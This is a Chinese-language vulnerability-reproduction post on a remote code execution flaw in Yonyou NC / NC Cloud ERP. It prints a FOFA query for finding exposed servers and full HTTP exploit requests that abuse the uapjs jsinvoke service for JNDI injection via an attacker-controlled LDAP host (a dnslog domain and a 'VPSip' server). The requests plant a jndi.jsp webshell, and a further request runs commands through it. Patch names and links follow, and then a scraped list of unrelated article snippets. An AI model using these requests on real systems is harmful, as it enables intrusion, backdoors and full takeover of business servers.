【漏洞复现】用友NC uapjs RCE漏洞(CNVD-C-2023-76801)
产品介绍
用友NC是一款企业级ERP软件。作为一种信息化管理工具,用友NC提供了一系列业务管理模块,包括财务会计、采购管理、销售管理、物料管理、生产计划和人力资源管理等,帮助企业实现数字化转型和高效管理。
漏洞概述
用友NC及NC Cloud系统存在任意文件上传漏洞,攻击者可通过uapjs(jsinvoke)应用构造恶意请求非法上传后门程序,此漏洞可以给NC服务器预埋后门,从而可以随意操作服务器。
影响范围
NC63、NC633、NC65、NC Cloud1903、NC Cloud1909、NC Cloud2005、NC Cloud2105、NC Cloud2111、YonBIP高级版2207
复现环境
FOFA:app="用友-NC-Cloud"

漏洞复现
POC(传参中的dnslog自行替换):
POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-formurlencoded
Content-Length: 285 {"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${''.getClass().forName('javax.naming.InitialContext').newInstance().lookup('ldap://sqb2c1.dnslog.cn/exp')}","webapps/nc_web/jndi.jsp"]}
利用思路:调用”nc.itf.iufo.IBaseSPService“服务中的"saveXStreamConfig"的方法,来接受对象和字符串,使用Java反射机制创建了一个javax.naming.InitialContext对象,并通过LDAP协议连接到指定的IP地址和端口,最后在根目录生成jsp恶意后门程序。

访问上传的文件 jndi.jsp。
GET /jndi.jsp HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-formurlencoded

EXP(VPSip请自行切换):
POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-formurlencoded
Content-Length: 285 {"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${''.getClass().forName('javax.naming.InitialContext').newInstance().lookup('ldap://VPSip:1389/TomcatBypass/TomcatEcho')}","webapps/nc_web/jndi.jsp"]}
JNDI注入工具开启监听后

执行命令:
GET /jndi.jsp HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
cmd: whoami
在这不做演示。
修复建议
打对应补丁,重启服务,各版本补丁获取方式如下:
NC63方案:
补丁名称:NC63uapjs安全问题补丁
补丁编码:NCM_NC6.3_000_UAP_BTS_20230308_GP_268498360
https://dsp.yonyou.com/patchcenter/patchdetail/10231678268499522701/0/2
NC633方案:
补丁名称:NC633uapjs安全问题补丁
补丁编码:NCM_NC6.33_000_UAP_BTS_20230308_GP_268527193
https://dsp.yonyou.com/patchcenter/patchdetail/10231678268528400707/0/2
NC65方案:
补丁名称:NC65uapjs安全问题补丁
补丁编码:NCM_NC6.5_000_UAP_BTS_20230308_GP_269462199
https://dsp.yonyou.com/patchcenter/patchdetail/10231678269463403718/0/2
NCC1903方案:
补丁名称:NCC1903uapjs安全问题补丁
补丁编码:NCM_NCCLOUD1903_10_UAP_BTS_20230308_GP_268560504
https://dsp.yonyou.com/patchcenter/patchdetail/11231678268561687890/0/2
NCC1909方案:
补丁名称:NCC1909uapjs安全问题补丁
补丁编码:NCM_NCCLOUD1909_10_UAP_BTS_20230308_GP_268596672
https://dsp.yonyou.com/patchcenter/patchdetail/11231678268597774895/0/2
NCC2005方案:
补丁名称:NCC2005uapjs安全问题补丁
补丁编码:NCM_NCCLOUD2020.05_10_UAP_BTS_20230308_GP_268622200
https://dsp.yonyou.com/patchcenter/patchdetail/10231678944167066463/0/2
NCC2105方案:
补丁名称:NCC2105uapjs安全问题补丁
补丁编码:NCM_NCCLOUD2021.05_10_UAP_BTS_20230308_GP_268652747
https://dsp.yonyou.com/patchcenter/patchdetail/11231678268653876905/0/2
NCC2111方案:
补丁名称:NCC2111uapjs安全问题补丁
补丁编码:NCM_NCCLOUD2021.11_010_UAP_BTS_20230308_GP_268680318
https://dsp.yonyou.com/patchcenter/patchdetail/11231678268681473910/0/2
YonBIP高级版2207方案:
补丁名称:YonBIP高级版2207uapjs安全问题补丁
补丁编码:NCM_YONBIP高级2207_010_UAP_BTS_20230308_GP_267337472
https://dsp.yonyou.com/patchcenter/patchdetail/11231678267338650434/0/2
【漏洞复现】用友NC uapjs RCE漏洞(CNVD-C-2023-76801)的更多相关文章
- 漏洞复现——Apache HTTPD多后缀解析漏洞
漏洞原理:Apache Httpd支持一个文件拥有多个后缀,不同的后缀执行不同的命令,也就是说当我们上传的文件中只要后缀名含有php,该文件就可以被解析成php文件,利用Apache Httpd这个特 ...
- 【阿菜漏洞复现】DeFi 平台 MonoX Finance 漏洞分析及复现
前言 2021 年 11 ⽉ 30 ⽇,DeFi 平台 MonoX Finance 遭遇攻击,损失共计约 3100 万美元. 造成本次攻击的漏洞主要有两个: 移除流动性的函数未对调用者进行检测,使得任 ...
- 漏洞复现——bash远程解析命令执行漏洞
漏洞描述:Bash脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令,在一些cgi脚本中,数据是通过环境变量来传递的,这样就会形成该漏洞 漏洞原理:bash通过以函数名作为环境变量名,以“( ...
- 【漏洞复现】Office远程代码执行漏洞(CVE-2017-11882)
昨晚看到的有复现的文章,一直到今天才去自己复现了一遍,还是例行记录一下. POC: https://github.com/Ridter/CVE-2017-11882/ 一.简单的生成弹计算器的doc文 ...
- MS14-064/CVE-2014-6332漏洞复现(OLE远程代码执行漏洞、IE浏览器漏洞)
漏洞介绍:MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution,主要利用IE浏 ...
- 【漏洞复现】永恒之蓝 ms17-010 漏洞利用 攻击手法
日期:2018-07-21 21:09:16 介绍:永恒之蓝利用的 ms17-010 漏洞,拿 Shell.查看文件.获取密码. 0x01.实验环境 攻击机 系统:macOS Sierra 10.12 ...
- 漏洞复现:Struts2 远程代码执行漏洞(S2-033)
docker pull medicean/vulapps:s_struts2_s2-033 docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2 ...
- Weblogic-SSRF漏洞复现
Weblogic-SSRF漏洞复现 一.SSRF概念 服务端请求伪造(Server-Side Request Forgery),是一种有攻击者构造形成有服务端发起请求的一个安全漏洞.一般情况下,SSR ...
- 威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”
简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐 ...
- 通达OA-2017版本漏洞复现
搭建环境 服务器 虚拟机系统版本:Windows Server 2016. 安装服务端 1.下载安装程序 这里我们下载的是2017版本的通达OA服务端: 2.安装程序 配置服务: 漏洞复现 1.任意文 ...
随机推荐
- Seaborn分布数据可视化---箱型分布图
箱型分布图 boxplot() sns.boxplot( x=None, y=None, hue=None, data=None, order=None, hue_order=None, orient ...
- 基于EtherNet/IP实现欧姆龙NX系列PLC通信
1.引言 工业以太网协议 (Ethernet/IP) 是由ODVA所开发并得到了罗克韦尔自动化的强大支持.它使用已用于ControlNet和DeviceNet的控制和信息协议 (CIP) 为应用层协议 ...
- 如何跑各种check
如何进行 Fastcheck? 首先,导入环境变量: export CODE_BASE=/data/openGauss-server export BINARYLIBS=/data/openGauss ...
- 使用Python-psycopg访问postgres、openGauss、MogDB
摘要 Psycopg 是一种用于执行 SQL 语句的 PythonAPI,可以为 PostgreSQL.GaussDB 数据库提供统一访问接口,应用程序可基于它进行数据操作.Psycopg2 是对 l ...
- Kubernetes 的 NameSpace 无法删除应该怎么办?
概述 有时候我们操作不规范,或者删除的先后顺序有问题,或者某项关键服务没有启动,导致 Kubernetes 经常会出现无法删除 NameSpace 的情况.这种情况下我们应该怎么办? 规范删除流程 其 ...
- c# 如何在一般处理程序中返回json
前言 迁移以前的笔记. 正文 无论是一般处理程序,还是其他程序,处理事项,肯定在于HttpResponse. 这种情况就可以操作,至于字符是自己转换还是由HttpResponse中的信息默认转换,都没 ...
- c++ 中const 原理
前言 在c++ 中和别的语言不一样,高级语言是将const编译了,c又不同这里不介绍,而c++ 是实现了. 正文 const 原理 请看一个解析: const a=10; int*p=&a; ...
- State 和 Props的理解以及区别
一.state 一个组件的显示形态可以由数据状态和外部参数所决定,而数据状态就是state,一般在 constructor 中初始化 当需要修改里面的值的状态需要通过调用setState来改变,从而达 ...
- flask通过线程池实现异步
from flask import Flask from time import sleep from concurrent.futures import ThreadPoolExecutor # D ...
- Kubernetes 部署集群1.28.2版本(无坑)
初步搭建一个一个主节点和两个从节点Kubernetes 1.28.2 集群.先准备好机器 | host | hostname | os | role | hardware | | --- | --- ...